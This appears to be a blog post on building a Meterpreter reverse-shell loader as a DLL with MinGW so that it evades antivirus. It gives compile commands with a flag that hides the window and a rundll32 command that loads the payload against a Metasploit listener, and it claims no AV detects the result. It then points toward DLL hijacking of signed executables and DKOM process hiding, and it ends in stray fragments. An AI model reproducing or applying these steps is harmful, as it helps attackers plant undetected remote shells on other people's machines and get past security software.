Custom Meterpreter loader DLL

This was actually discovered by a pure chance as I have wanted to try something with GCC and accidentally compiled a windows C source code as a dll using the -shared option in MinGW.

Here is another interesting example how to get pass antivirus without being detected. Again this is based on an older article (Customizing Custom Meterpreter Loader) and 95% of the code is from Raphael Mudges metasploit loader project located here.

OK, the source code for the generator is almost identical, with some minor differences in the build process

p.s Also a good hint to make your console application hidden from WinGUI add the -mwindows parameter to gcc, thus the application wont be visible when executed from Explorer for example. (no console window)

i586-mingw32msvc-gcc temp.c -o payload.exe -lws2_32 -mwindows

ls -la payload.dll

As you can see, we are adding a simple -shared command to the mingw compiler and creating a Dll from the above C code. Of course one would say that this is no way of writing a dll and it wont work, but it does and I will show you just how..

So once the dll is in place, copy it over to your test machine (Windows 8.1 64bit) and load it, dont forget to load your Metasploit listener on your attacker box..

rundll32 payload.dll,main


And bingo, we have a reverse shell ! Currently no AV detects this.

dll01So now its time to abuse some signed executables that dont check their dll paths correctly …. and are trusted by almost everything of course, so If the signed exe loads our dll ?

  1. api hooking ? bypass process explorer ….Hide process with DKOM without hardcoded offsets


    after :;

    use gmail ? thanks
